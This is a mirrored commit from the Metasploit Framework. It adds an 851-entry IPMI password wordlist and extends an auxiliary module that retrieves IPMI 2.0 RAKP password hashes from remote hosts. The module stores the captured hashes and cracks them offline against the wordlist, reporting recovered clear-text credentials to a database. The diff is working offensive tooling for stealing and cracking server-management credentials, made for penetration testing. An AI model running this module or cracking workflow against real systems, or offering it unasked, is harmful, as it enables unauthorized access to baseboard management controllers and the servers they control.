mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
Cleanup, reporting, and automatic cracking
This commit is contained in:
HD Moore
parent
5656e0cb7a
commit
c869112407
851
data/wordlists/ipmi_passwords.txt
Normal file
851
data/wordlists/ipmi_passwords.txt
Normal file
@ -0,0 +1,851 @@
|
|||||||
|
ADMIN
|
||||||
|
PASSW0RD
|
||||||
|
calvin
|
||||||
|
admin
|
||||||
|
root
|
||||||
|
computer1
|
||||||
|
changeme
|
||||||
|
superuser
|
||||||
|
4rfv$RFV
|
||||||
|
password
|
||||||
|
123456
|
||||||
|
asdlkj
|
||||||
|
Letmein2
|
||||||
|
111111
|
||||||
|
Flamenco
|
||||||
|
1q2w3e4r
|
||||||
|
birdshit
|
||||||
|
237723
|
||||||
|
gandalf6
|
||||||
|
maria1988
|
||||||
|
angel2000
|
||||||
|
4rfvbhu8
|
||||||
|
bmw12345
|
||||||
|
letmein2
|
||||||
|
P@ssw0rd
|
||||||
|
12qw!@QW
|
||||||
|
12345678
|
||||||
|
monkeybutt
|
||||||
|
zero2hero
|
||||||
|
security
|
||||||
|
letmein1
|
||||||
|
Password1
|
||||||
|
calvin22
|
||||||
|
admin123
|
||||||
|
123456789
|
||||||
|
12345
|
||||||
|
p@ssw0rd
|
||||||
|
amilopro
|
||||||
|
adminadmin
|
||||||
|
albatros
|
||||||
|
freedumb1
|
||||||
|
face2face
|
||||||
|
aztech
|
||||||
|
antibiotico
|
||||||
|
1qaz2wsx
|
||||||
|
nopermission
|
||||||
|
imperial
|
||||||
|
Winston1
|
||||||
|
123qwe
|
||||||
|
odiotodo
|
||||||
|
get2it
|
||||||
|
evilpenguin
|
||||||
|
changemes
|
||||||
|
asdf1234
|
||||||
|
Administrator
|
||||||
|
siemens123
|
||||||
|
hpinvent
|
||||||
|
butt
|
||||||
|
brian0711
|
||||||
|
a12345678
|
||||||
|
1234
|
||||||
|
123
|
||||||
|
fresher
|
||||||
|
012012
|
||||||
|
administrator
|
||||||
|
Welcome123
|
||||||
|
Tokyo1
|
||||||
|
123qweASD
|
||||||
|
funshion
|
||||||
|
doris321
|
||||||
|
zaq1xsw2
|
||||||
|
test
|
||||||
|
letmein
|
||||||
|
kalimera
|
||||||
|
goethe
|
||||||
|
debugs
|
||||||
|
compaq
|
||||||
|
cisco
|
||||||
|
carpediem
|
||||||
|
blabla12
|
||||||
|
bios
|
||||||
|
apa123
|
||||||
|
abcd1234
|
||||||
|
Parasol1
|
||||||
|
23skidoo
|
||||||
|
!QAZ2wsx
|
||||||
|
ncc1701d
|
||||||
|
john2008
|
||||||
|
ipax
|
||||||
|
angusyoung
|
||||||
|
Nemesis1
|
||||||
|
Aloysius
|
||||||
|
zodiac666
|
||||||
|
soccer1
|
||||||
|
pandemonium
|
||||||
|
orpheus
|
||||||
|
netnet
|
||||||
|
lifeline
|
||||||
|
blabla
|
||||||
|
abc123
|
||||||
|
Welcome0
|
||||||
|
test123
|
||||||
|
sun12345
|
||||||
|
secure123
|
||||||
|
redhat
|
||||||
|
poepchinees
|
||||||
|
mackousko
|
||||||
|
level10
|
||||||
|
kuku
|
||||||
|
ilovetessa
|
||||||
|
f4g5h6j7
|
||||||
|
dropship
|
||||||
|
bobthebuilder
|
||||||
|
barbusse
|
||||||
|
aristoteles
|
||||||
|
apollo11
|
||||||
|
a13a13
|
||||||
|
RUPRECHT
|
||||||
|
P4ssw0rd
|
||||||
|
14111982
|
||||||
|
1234ABCD
|
||||||
|
progr3ss
|
||||||
|
cheng1234
|
||||||
|
winston
|
||||||
|
wibbles
|
||||||
|
toor
|
||||||
|
rootroot
|
||||||
|
root123
|
||||||
|
qwerty
|
||||||
|
qweQWE123
|
||||||
|
qazwsx123
|
||||||
|
q1w2e3r4
|
||||||
|
q1q1q1
|
||||||
|
prepaid
|
||||||
|
pokemon!
|
||||||
|
poi098
|
||||||
|
pepsi2008
|
||||||
|
parmesan
|
||||||
|
leoleo
|
||||||
|
junker
|
||||||
|
johnny50
|
||||||
|
hongkong
|
||||||
|
freedom
|
||||||
|
flapjack
|
||||||
|
cherokee
|
||||||
|
callofduty
|
||||||
|
bohemia
|
||||||
|
benitocameloo
|
||||||
|
babyface
|
||||||
|
augmentin
|
||||||
|
asdfhjkl
|
||||||
|
admin1234
|
||||||
|
abcdef3
|
||||||
|
Welcome1
|
||||||
|
P@$$w0rd
|
||||||
|
Hamster
|
||||||
|
Avalanche
|
||||||
|
1997
|
||||||
|
125401
|
||||||
|
123zxc123
|
||||||
|
123qweasdzxc
|
||||||
|
123qwe!@#
|
||||||
|
112233
|
||||||
|
04051995
|
||||||
|
q3kze7q
|
||||||
|
password201
|
||||||
|
m45t3rm1nd
|
||||||
|
jander1
|
||||||
|
blackonblack
|
||||||
|
1qaz@WSX
|
||||||
|
x
|
||||||
|
winston1
|
||||||
|
welcome1
|
||||||
|
vitesse
|
||||||
|
siempre!
|
||||||
|
shuriken
|
||||||
|
savanna
|
||||||
|
richard#1
|
||||||
|
parolamea
|
||||||
|
oceans11
|
||||||
|
nas123
|
||||||
|
megatron
|
||||||
|
liquidtension
|
||||||
|
linkin123
|
||||||
|
letmesee
|
||||||
|
l0v3m3
|
||||||
|
kane
|
||||||
|
k4hvdq9tj9
|
||||||
|
jack1998
|
||||||
|
itsasecret
|
||||||
|
inverter
|
||||||
|
happyhippo
|
||||||
|
hannover96
|
||||||
|
foo123
|
||||||
|
enter123321
|
||||||
|
enter123
|
||||||
|
dikdik
|
||||||
|
cisco123
|
||||||
|
changeme123
|
||||||
|
bigred23
|
||||||
|
asdewq
|
||||||
|
ardrossan
|
||||||
|
an0th3r
|
||||||
|
ZAQ!2wsx
|
||||||
|
Reptile1
|
||||||
|
Qwerty123
|
||||||
|
Password@1
|
||||||
|
Password123
|
||||||
|
Password#1
|
||||||
|
Pass1234
|
||||||
|
P@ssword
|
||||||
|
Haemorrhage
|
||||||
|
8253
|
||||||
|
2bornot2b
|
||||||
|
2718281828
|
||||||
|
22
|
||||||
|
1q2w3e4r5t
|
||||||
|
159357**
|
||||||
|
131313
|
||||||
|
123123
|
||||||
|
121212
|
||||||
|
11111111
|
||||||
|
111
|
||||||
|
10111011
|
||||||
|
topsecret
|
||||||
|
test1234
|
||||||
|
snickers
|
||||||
|
skywalker
|
||||||
|
secret
|
||||||
|
salamander
|
||||||
|
rutabaga
|
||||||
|
rotrot
|
||||||
|
rosedale
|
||||||
|
rollerblade
|
||||||
|
ringer
|
||||||
|
revision
|
||||||
|
razor
|
||||||
|
qwerty7
|
||||||
|
qwerty12
|
||||||
|
qwert
|
||||||
|
qazxswedc123
|
||||||
|
qazwsx
|
||||||
|
proba123
|
||||||
|
powerpower
|
||||||
|
powder1
|
||||||
|
poloppolop
|
||||||
|
plopplop
|
||||||
|
penelope
|
||||||
|
pathology
|
||||||
|
passw0rd
|
||||||
|
offshore
|
||||||
|
not4u2c
|
||||||
|
nopass
|
||||||
|
nitram
|
||||||
|
nerdnerd
|
||||||
|
mirrormirror
|
||||||
|
mi
|
||||||
|
mercedes
|
||||||
|
maxima
|
||||||
|
master
|
||||||
|
magex
|
||||||
|
loran123
|
||||||
|
lol
|
||||||
|
kingswood
|
||||||
|
keystone
|
||||||
|
kalvin
|
||||||
|
juliette
|
||||||
|
icecream
|
||||||
|
hobbs
|
||||||
|
hello123
|
||||||
|
he
|
||||||
|
grouper
|
||||||
|
gravity
|
||||||
|
gravis
|
||||||
|
gizmo
|
||||||
|
fubar
|
||||||
|
foobar
|
||||||
|
flying
|
||||||
|
flyboy
|
||||||
|
fernandes
|
||||||
|
fastweb
|
||||||
|
exploit
|
||||||
|
dweeble
|
||||||
|
dimdim
|
||||||
|
delta
|
||||||
|
cy
|
||||||
|
changeme1
|
||||||
|
catfish
|
||||||
|
carol
|
||||||
|
cardinal
|
||||||
|
calvin1
|
||||||
|
calliope
|
||||||
|
brother
|
||||||
|
blizzard
|
||||||
|
blahblah
|
||||||
|
bier
|
||||||
|
asd
|
||||||
|
aq12wsxz
|
||||||
|
apricot
|
||||||
|
apple
|
||||||
|
airlines
|
||||||
|
admini
|
||||||
|
access
|
||||||
|
abusive
|
||||||
|
abra
|
||||||
|
Windows1
|
||||||
|
Un1verse
|
||||||
|
ROOT
|
||||||
|
Qwerty1!
|
||||||
|
Password
|
||||||
|
PASSWORD
|
||||||
|
P@ssw0rd!
|
||||||
|
OEM
|
||||||
|
Letmein1
|
||||||
|
KNIGHT
|
||||||
|
Israel123
|
||||||
|
Christmas
|
||||||
|
Chester1
|
||||||
|
COMPAQ
|
||||||
|
CALVIN
|
||||||
|
963258
|
||||||
|
584620
|
||||||
|
225225
|
||||||
|
201036
|
||||||
|
2010
|
||||||
|
198624
|
||||||
|
146890
|
||||||
|
130590
|
||||||
|
123258
|
||||||
|
082208
|
||||||
|
012465
|
||||||
|
zzzz
|
||||||
|
ytrewq
|
||||||
|
xxxxxxxx
|
||||||
|
xxxxxx
|
||||||
|
xpsm1210
|
||||||
|
xerox
|
||||||
|
wombat
|
||||||
|
windows7
|
||||||
|
weblink
|
||||||
|
ventilator
|
||||||
|
valentino
|
||||||
|
totototo
|
||||||
|
toptop
|
||||||
|
tmp123
|
||||||
|
testtest
|
||||||
|
tester
|
||||||
|
test1
|
||||||
|
taki
|
||||||
|
system1
|
||||||
|
sysadmin
|
||||||
|
stanley
|
||||||
|
spike04
|
||||||
|
sofuck
|
||||||
|
sofresh
|
||||||
|
simonb
|
||||||
|
shin
|
||||||
|
setmefree
|
||||||
|
semmi
|
||||||
|
seekanddestroy
|
||||||
|
secure6
|
||||||
|
saynomore
|
||||||
|
sasman
|
||||||
|
samsun
|
||||||
|
salope
|
||||||
|
root4
|
||||||
|
ronson
|
||||||
|
roman123
|
||||||
|
riobravo
|
||||||
|
rikitiki
|
||||||
|
rayong1234
|
||||||
|
randy007
|
||||||
|
qwertz123
|
||||||
|
qwerty77
|
||||||
|
qwerty123
|
||||||
|
qwerty09
|
||||||
|
qwert12345
|
||||||
|
qweqweqwe
|
||||||
|
qweasd123
|
||||||
|
qwe123!@#
|
||||||
|
qwe123
|
||||||
|
qwas12
|
||||||
|
quepasa
|
||||||
|
qscwdv
|
||||||
|
qq123456
|
||||||
|
qazxsw2
|
||||||
|
qazwsx123456
|
||||||
|
qaz123
|
||||||
|
q1q2q3q4
|
||||||
|
q1q1q1q1
|
||||||
|
powermax
|
||||||
|
plokijuh
|
||||||
|
pizza42
|
||||||
|
pieceofshit
|
||||||
|
phoenix602
|
||||||
|
peter123
|
||||||
|
password55
|
||||||
|
password209
|
||||||
|
passw0rd1
|
||||||
|
passion12
|
||||||
|
pass123
|
||||||
|
pantera69
|
||||||
|
pa$$word
|
||||||
|
pa$$w0rd
|
||||||
|
p3t3rpan
|
||||||
|
opengate
|
||||||
|
ontology
|
||||||
|
omgomg123
|
||||||
|
number66
|
||||||
|
nova21
|
||||||
|
nike2008
|
||||||
|
n0d0ubt1
|
||||||
|
mvemjsunp
|
||||||
|
mustang70
|
||||||
|
munchkin10
|
||||||
|
mujama
|
||||||
|
muffinman
|
||||||
|
mikeiscool
|
||||||
|
megabit
|
||||||
|
mar1jane
|
||||||
|
mama1234
|
||||||
|
madman18
|
||||||
|
luke1993
|
||||||
|
ludacris
|
||||||
|
lord1234
|
||||||
|
lopata
|
||||||
|
lolipop2
|
||||||
|
lofasz
|
||||||
|
localadmin
|
||||||
|
letmeout
|
||||||
|
lenor
|
||||||
|
lemon123
|
||||||
|
langke
|
||||||
|
lalala
|
||||||
|
l8rsk8r
|
||||||
|
kusakusa
|
||||||
|
krakonos
|
||||||
|
km123456
|
||||||
|
kingofthehill
|
||||||
|
keepout123
|
||||||
|
karmal
|
||||||
|
karkulka
|
||||||
|
kakala
|
||||||
|
k123
|
||||||
|
ji394su3
|
||||||
|
jackson88
|
||||||
|
integra99
|
||||||
|
integra18
|
||||||
|
indonesiaraya
|
||||||
|
iamthebest
|
||||||
|
hyperdrive
|
||||||
|
huawei
|
||||||
|
howard03
|
||||||
|
hero777
|
||||||
|
helson
|
||||||
|
hashimoto
|
||||||
|
hasan12345
|
||||||
|
hanseatic
|
||||||
|
hallo123
|
||||||
|
hallo12
|
||||||
|
grapenuts
|
||||||
|
gorefest
|
||||||
|
goldstar
|
||||||
|
godblessyou
|
||||||
|
gfhjkm
|
||||||
|
getoutofhere
|
||||||
|
genius123
|
||||||
|
freetown1
|
||||||
|
freedom35
|
||||||
|
fotos1
|
||||||
|
florida69
|
||||||
|
fischer123
|
||||||
|
fire1818
|
||||||
|
figarofigaro
|
||||||
|
ficken2000
|
||||||
|
faszom
|
||||||
|
f18hornet
|
||||||
|
f00b4r
|
||||||
|
extazy
|
||||||
|
eragon1
|
||||||
|
easyway
|
||||||
|
easy123
|
||||||
|
duffy123
|
||||||
|
dropzone
|
||||||
|
dennis96
|
||||||
|
deneme
|
||||||
|
d3ft0n3s
|
||||||
|
d1ngd0ng
|
||||||
|
d0dger
|
||||||
|
d00rmat
|
||||||
|
csigabiga
|
||||||
|
crew10
|
||||||
|
credu
|
||||||
|
crashbandicoot
|
||||||
|
consults
|
||||||
|
collins123
|
||||||
|
ciscocisco
|
||||||
|
ciang
|
||||||
|
chile62
|
||||||
|
check123
|
||||||
|
ch4ng3m3
|
||||||
|
catinthehat
|
||||||
|
carla123
|
||||||
|
calvin99
|
||||||
|
calvin!
|
||||||
|
calv1n
|
||||||
|
calamar
|
||||||
|
bubububu
|
||||||
|
bluespot
|
||||||
|
blubje
|
||||||
|
black321
|
||||||
|
bla123
|
||||||
|
bigbuddy
|
||||||
|
banane1
|
||||||
|
asdasd
|
||||||
|
asdQWE123
|
||||||
|
asd123qwe
|
||||||
|
anakonda
|
||||||
|
alpargata
|
||||||
|
alarcon
|
||||||
|
adoado
|
||||||
|
abrakadabra
|
||||||
|
abcd-1234
|
||||||
|
abc123!!
|
||||||
|
abc#123
|
||||||
|
a1b2c3d4e5f6
|
||||||
|
a1b2c3d4e5
|
||||||
|
a123456
|
||||||
|
a11b12c13
|
||||||
|
Zaq1xsw2
|
||||||
|
Und3rGr0und
|
||||||
|
TrustNo1
|
||||||
|
Test1234
|
||||||
|
Super123
|
||||||
|
Summer12
|
||||||
|
Silicon1
|
||||||
|
Runaway1
|
||||||
|
Republic1
|
||||||
|
Qwer!234
|
||||||
|
P@ssword123
|
||||||
|
P@55w0rd
|
||||||
|
P@$$word
|
||||||
|
P@$$w0rD
|
||||||
|
Operator
|
||||||
|
Newpass1
|
||||||
|
MKO)9ijn
|
||||||
|
Lasvegas1
|
||||||
|
Insecure
|
||||||
|
Impatiens
|
||||||
|
INTERNAT
|
||||||
|
Boromir1
|
||||||
|
Berman
|
||||||
|
Asdfg123
|
||||||
|
Asd123
|
||||||
|
@WSX1qaz
|
||||||
|
88888888
|
||||||
|
874365
|
||||||
|
832531
|
||||||
|
735841
|
||||||
|
666001
|
||||||
|
570912
|
||||||
|
56565656
|
||||||
|
545981
|
||||||
|
43046721
|
||||||
|
3stones
|
||||||
|
38483848
|
||||||
|
311147
|
||||||
|
2brnot2b
|
||||||
|
29082908
|
||||||
|
2468369
|
||||||
|
23041979
|
||||||
|
22242224
|
||||||
|
222101
|
||||||
|
22071979
|
||||||
|
21101981
|
||||||
|
20742074
|
||||||
|
2071184
|
||||||
|
20572057
|
||||||
|
20552055
|
||||||
|
20132013
|
||||||
|
20112011
|
||||||
|
1q2w3e
|
||||||
|
1a2s3d4f
|
||||||
|
19511951
|
||||||
|
19501950
|
||||||
|
19491949
|
||||||
|
187cop
|
||||||
|
17841784
|
||||||
|
17201720
|
||||||
|
17161716
|
||||||
|
159753456
|
||||||
|
147896325
|
||||||
|
146688
|
||||||
|
1456
|
||||||
|
12qwaszx
|
||||||
|
12qw34er
|
||||||
|
123qwerty
|
||||||
|
123mudar
|
||||||
|
1234qwer!
|
||||||
|
1234Qwer
|
||||||
|
1234567890qwertyuiop
|
||||||
|
123454321
|
||||||
|
123412345
|
||||||
|
123.com
|
||||||
|
12201220
|
||||||
|
12121212
|
||||||
|
11112222
|
||||||
|
1020304050
|
||||||
|
10144
|
||||||
|
10143
|
||||||
|
10135
|
||||||
|
10118
|
||||||
|
10101010
|
||||||
|
0okmnji9
|
||||||
|
06061977
|
||||||
|
!Q2w#E4r
|
||||||
|
zse4rfv
|
||||||
|
zmalqp10
|
||||||
|
zazazaza
|
||||||
|
zaxscdvf
|
||||||
|
zaqwsxcde
|
||||||
|
zaq1@WSX
|
||||||
|
yyl
|
||||||
|
yuiop
|
||||||
|
yellow22
|
||||||
|
yellow123
|
||||||
|
yakiniku
|
||||||
|
yabadabadoo
|
||||||
|
xitgmLwmp
|
||||||
|
xdr56tfc
|
||||||
|
whitebird
|
||||||
|
west123
|
||||||
|
wave123
|
||||||
|
wachtwoord
|
||||||
|
w8w00rd
|
||||||
|
w00tw00t
|
||||||
|
vlis
|
||||||
|
vivivi
|
||||||
|
vitaly
|
||||||
|
virginia11
|
||||||
|
vince123
|
||||||
|
viewmaster
|
||||||
|
vatten
|
||||||
|
vatefairefoutre
|
||||||
|
united99
|
||||||
|
united123
|
||||||
|
triangulation
|
||||||
|
tj1234
|
||||||
|
titkos
|
||||||
|
tiger123
|
||||||
|
throwaway
|
||||||
|
three4me
|
||||||
|
testbed
|
||||||
|
temppass
|
||||||
|
temp1234
|
||||||
|
temp11
|
||||||
|
telefone
|
||||||
|
tarantula1
|
||||||
|
tagada
|
||||||
|
sysu
|
||||||
|
system32
|
||||||
|
strasburg
|
||||||
|
start123
|
||||||
|
skysky21
|
||||||
|
shakyamuni
|
||||||
|
sclg
|
||||||
|
sanayounes
|
||||||
|
samsung34
|
||||||
|
sallasana
|
||||||
|
s3cur3d
|
||||||
|
round123
|
||||||
|
root1234
|
||||||
|
reformation
|
||||||
|
redpoint
|
||||||
|
redorblue
|
||||||
|
raritan
|
||||||
|
rais
|
||||||
|
qwerty1234567890
|
||||||
|
qwerqaz
|
||||||
|
qweewq123
|
||||||
|
qweasdzxc2
|
||||||
|
qweasd789
|
||||||
|
qwe123.
|
||||||
|
qazzxc
|
||||||
|
qazwsx!@#
|
||||||
|
qazw1234
|
||||||
|
qaz74123
|
||||||
|
pswrdpswrd
|
||||||
|
primat
|
||||||
|
portakal1
|
||||||
|
picus
|
||||||
|
phishfood
|
||||||
|
petert999
|
||||||
|
patrickb123
|
||||||
|
password1`
|
||||||
|
omfglol1
|
||||||
|
nottelling
|
||||||
|
nobchan
|
||||||
|
new_password
|
||||||
|
netadmin
|
||||||
|
net101
|
||||||
|
nemtom1
|
||||||
|
n0ttelling
|
||||||
|
mwmwmw
|
||||||
|
mumuland
|
||||||
|
mexx6399
|
||||||
|
mcknight88
|
||||||
|
masterok
|
||||||
|
mainstreet
|
||||||
|
maine207
|
||||||
|
m1r4nd4
|
||||||
|
m0t0rhead
|
||||||
|
lkilogmL
|
||||||
|
linux99
|
||||||
|
lbyjpfdh
|
||||||
|
labas123
|
||||||
|
kukareku
|
||||||
|
krumholz
|
||||||
|
kolobezka
|
||||||
|
kenzan
|
||||||
|
kcm
|
||||||
|
kali2002
|
||||||
|
kalap
|
||||||
|
k1rs1kka
|
||||||
|
juke2008
|
||||||
|
jtjd
|
||||||
|
jiemou3i
|
||||||
|
jbvm
|
||||||
|
hogehoge
|
||||||
|
haslo123
|
||||||
|
harley1985
|
||||||
|
gowest!
|
||||||
|
gomachan
|
||||||
|
gigi99
|
||||||
|
ghbdtnbr
|
||||||
|
gfhjkmrf
|
||||||
|
gbpltw
|
||||||
|
g8keeper
|
||||||
|
fuckbitchesgetmoney
|
||||||
|
formeforme
|
||||||
|
flat24
|
||||||
|
flaquito6
|
||||||
|
f00sball
|
||||||
|
f00bar
|
||||||
|
ezit
|
||||||
|
dream182
|
||||||
|
delled0
|
||||||
|
darwin99
|
||||||
|
daemon09
|
||||||
|
d0m1n0
|
||||||
|
cukorborso
|
||||||
|
cti4ever
|
||||||
|
cpe1704tks
|
||||||
|
compaq2003
|
||||||
|
cisko
|
||||||
|
changeme20
|
||||||
|
cdwv
|
||||||
|
cdn123
|
||||||
|
cbtp
|
||||||
|
cairell
|
||||||
|
cabajka
|
||||||
|
c@lvin
|
||||||
|
burek123
|
||||||
|
bublik
|
||||||
|
bomba
|
||||||
|
barbetta
|
||||||
|
baofeng
|
||||||
|
b4lls4ck
|
||||||
|
athlon64
|
||||||
|
aspirine
|
||||||
|
asdlkj123
|
||||||
|
asdlkj12
|
||||||
|
aqua2000
|
||||||
|
aqq123
|
||||||
|
apstndp
|
||||||
|
anyadhogyvan
|
||||||
|
anakonda1
|
||||||
|
akula123
|
||||||
|
adminpass
|
||||||
|
admin01
|
||||||
|
admin001
|
||||||
|
accobra
|
||||||
|
abhaile1
|
||||||
|
abcdpass
|
||||||
|
abc123d4
|
||||||
|
abang78
|
||||||
|
a1rplan3
|
||||||
|
Zxasqw12
|
||||||
|
What3v3r
|
||||||
|
Varadero
|
||||||
|
TheLast1
|
||||||
|
Tamara01
|
||||||
|
T4urus
|
||||||
|
SunnyJim7
|
||||||
|
Suckit1
|
||||||
|
Runner11
|
||||||
|
R3volution
|
||||||
|
Qwe12345
|
||||||
|
QAWSEDRF
|
||||||
|
Q!W@E#R$
|
||||||
|
Polar123
|
||||||
|
Passw0rd1111
|
||||||
|
PassW0rd
|
||||||
|
Pa22w0rd
|
||||||
|
P@$$W0RD
|
||||||
|
M1cha3l
|
||||||
|
M
|
||||||
|
LonDon
|
||||||
|
Kia123
|
||||||
|
Joel1234
|
||||||
|
IPMI
|
||||||
|
George123
|
||||||
|
Crocodile1
|
||||||
|
Chocolate19
|
||||||
|
Aurora01
|
||||||
|
Admin@123
|
||||||
|
Admin123
|
||||||
|
9ijn7ygv
|
||||||
|
9641
|
||||||
|
788111
|
||||||
|
749174
|
||||||
|
6922374
|
||||||
|
643558
|
||||||
|
4rfv%TGB
|
||||||
|
493749
|
||||||
|
3l3ctr1c
|
||||||
|
343guiltyspark
|
||||||
|
2keeper
|
||||||
|
24041975
|
||||||
|
23712371
|
||||||
|
23051979
|
||||||
|
21121477
|
||||||
|
20682068
|
||||||
|
20562056
|
||||||
|
1qazxsw2
|
||||||
|
1qazxcvb
|
||||||
|
1qaz2wsx3edc
|
||||||
|
1qaz0okm
|
||||||
|
1qaz!QAZ
|
||||||
|
1q2w3e4r5t6y
|
||||||
|
1q2w3e4r..
|
||||||
|
1keeper
|
||||||
|
1340hd
|
||||||
|
123cztery
|
||||||
|
1234qwer`
|
||||||
|
12345678abc
|
||||||
|
123132123
|
||||||
|
116572
|
||||||
|
00850085
|
||||||
|
*password
|
||||||
|
!Q2w3e4r
|
||||||
@ -81,6 +81,10 @@ class Utils
|
|||||||
username
|
username
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def self.verify_rakp_hmac_sha1(salt, hash, password)
|
||||||
|
OpenSSL::HMAC.digest('sha1', password, salt) == hash
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@ -17,7 +17,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||||||
def initialize
|
def initialize
|
||||||
super(
|
super(
|
||||||
'Name' => 'IPMI 2.0 RAKP Remote Password Hash Retreival',
|
'Name' => 'IPMI 2.0 RAKP Remote Password Hash Retreival',
|
||||||
'Description' => 'Identify valid usernames and their hashed passwords through the IPMI 2.0 RAKP protocol',
|
'Description' => %q|
|
||||||
|
This module identifies IPMI 2.0 compatible systems and attempts to retrieve the
|
||||||
|
HMAC-SHA1 password hashes of default usernames. The hashes can be stored in a
|
||||||
|
file using the OUTPUT_FILE option and then cracked using hmac_sha1_crack.rb
|
||||||
|
in the tools subdirectory as well hashcat (cpu) 0.46 or newer using type 7300.
|
||||||
|
|,
|
||||||
'Author' => [ 'Dan Farmer <zen[at]fish2.com>', 'hdm' ],
|
'Author' => [ 'Dan Farmer <zen[at]fish2.com>', 'hdm' ],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'References' =>
|
'References' =>
|
||||||
@ -33,7 +38,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||||||
OptPath.new('USER_FILE', [ true, "File containing usernames, one per line",
|
OptPath.new('USER_FILE', [ true, "File containing usernames, one per line",
|
||||||
File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_users.txt')
|
File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_users.txt')
|
||||||
]),
|
]),
|
||||||
OptString.new('OUTPUT_FILE', [false, "File to save captured password hashes into"])
|
OptPath.new('PASS_FILE', [ true, "File containing common passwords for offline cracking, one per line",
|
||||||
|
File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_passwords.txt')
|
||||||
|
]),
|
||||||
|
OptString.new('OUTPUT_FILE', [false, "File to save captured password hashes into"]),
|
||||||
|
OptBool.new('CRACK_COMMON', [true, "Automatically crack common passwords as they are obtained", true])
|
||||||
], self.class)
|
], self.class)
|
||||||
|
|
||||||
end
|
end
|
||||||
@ -109,12 +118,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||||||
end
|
end
|
||||||
|
|
||||||
if rakp.error_code != 0
|
if rakp.error_code != 0
|
||||||
vprint_status("#{rhost} Returned error code #{rakp.error_code} for username #{username}: #{Rex::Proto::IPMI::RMCP_ERRORS[rakp.error_code].to_s}")
|
vprint_error("#{rhost} Returned error code #{rakp.error_code} for username #{username}: #{Rex::Proto::IPMI::RMCP_ERRORS[rakp.error_code].to_s}")
|
||||||
next
|
next
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# TODO: Finish documenting this error field
|
||||||
if rakp.ignored1 != 0
|
if rakp.ignored1 != 0
|
||||||
vprint_status("#{rhost} Returned weird error code #{rakp.ignored1} for username #{username}")
|
vprint_error("#{rhost} Returned error code #{rakp.ignored1} for username #{username}")
|
||||||
next
|
next
|
||||||
end
|
end
|
||||||
|
|
||||||
@ -129,37 +139,78 @@ class Metasploit3 < Msf::Auxiliary
|
|||||||
username
|
username
|
||||||
)
|
)
|
||||||
|
|
||||||
found = "#{rhost} #{username}:#{hmac_buffer.unpack("H*")[0]}:#{rakp.hmac_sha1.unpack("H*")[0]}"
|
found = "#{rhost} Hash #{username}:#{hmac_buffer.unpack("H*")[0]}:#{rakp.hmac_sha1.unpack("H*")[0]}"
|
||||||
print_good(found)
|
print_good(found)
|
||||||
|
|
||||||
|
# Write the rakp hash to the output file
|
||||||
if @output
|
if @output
|
||||||
@output.write(found + "\n")
|
@output.write(found + "\n")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Write the rakp hash to the database
|
||||||
|
report_auth_info(
|
||||||
|
:host => rhost,
|
||||||
|
:port => rport,
|
||||||
|
:proto => 'udp',
|
||||||
|
:sname => 'ipmi',
|
||||||
|
:user => username,
|
||||||
|
:pass => "#{hmac_buffer.unpack("H*")[0]}:#{rakp.hmac_sha1.unpack("H*")[0]}",
|
||||||
|
:source_type => "captured",
|
||||||
|
:active => true,
|
||||||
|
:type => 'rakp_hmac_sha1_hash'
|
||||||
|
)
|
||||||
|
|
||||||
|
# Offline crack common passwords and report clear-text credentials
|
||||||
|
next unless datastore['CRACK_COMMON']
|
||||||
|
|
||||||
|
::File.open(datastore['PASS_FILE'], "rb") do |pfd|
|
||||||
|
passwords = pfd.read(pfd.stat.size).split("\n")
|
||||||
|
passwords << ""
|
||||||
|
passwords.uniq.each do |pass|
|
||||||
|
pass = pass.strip
|
||||||
|
next unless pass.length > 0
|
||||||
|
next unless Rex::Proto::IPMI::Utils.verify_rakp_hmac_sha1(hmac_buffer, rakp.hmac_sha1, pass)
|
||||||
|
print_good("#{rhost} Hash for user '#{username}' matches password '#{pass}'")
|
||||||
|
|
||||||
|
# Report the clear-text credential to the database
|
||||||
|
report_auth_info(
|
||||||
|
:host => rhost,
|
||||||
|
:port => rport,
|
||||||
|
:proto => 'udp',
|
||||||
|
:sname => 'ipmi',
|
||||||
|
:user => username,
|
||||||
|
:pass => pass,
|
||||||
|
:source_type => "cracked",
|
||||||
|
:active => true,
|
||||||
|
:type => 'password'
|
||||||
|
)
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def process_getchannel_reply(data, shost, sport)
|
def process_getchannel_reply(data, shost, sport)
|
||||||
|
|
||||||
shost = shost.sub(/^::ffff:/, '')
|
shost = shost.sub(/^::ffff:/, '')
|
||||||
|
|
||||||
info = Rex::Proto::IPMI::Channel_Auth_Reply.new(data) rescue nil
|
info = Rex::Proto::IPMI::Channel_Auth_Reply.new(data) rescue nil
|
||||||
|
|
||||||
|
|
||||||
# Ignore invalid responses
|
# Ignore invalid responses
|
||||||
return if not info
|
return if not info
|
||||||
return if not info.ipmi_command == 56
|
return if not info.ipmi_command == 56
|
||||||
|
|
||||||
banner = info.to_banner
|
banner = info.to_banner
|
||||||
|
|
||||||
print_status("#{shost}:#{datastore['RPORT']} #{banner}")
|
print_status("#{shost} #{banner}")
|
||||||
|
|
||||||
report_service(
|
report_service(
|
||||||
:host => shost,
|
:host => rhost,
|
||||||
:port => datastore['RPORT'],
|
:port => rport,
|
||||||
:proto => 'udp',
|
:proto => 'udp',
|
||||||
:name => 'ipmi',
|
:name => 'ipmi',
|
||||||
:info => banner
|
:info => banner
|
||||||
)
|
)
|
||||||
|
|
||||||
|
# TODO:
|
||||||
# Report a vulnerablity if info.ipmi_user_anonymous has been set
|
# Report a vulnerablity if info.ipmi_user_anonymous has been set
|
||||||
# Report a vulnerability if ipmi 2.0 and kg is set to default
|
# Report a vulnerability if ipmi 2.0 and kg is set to default
|
||||||
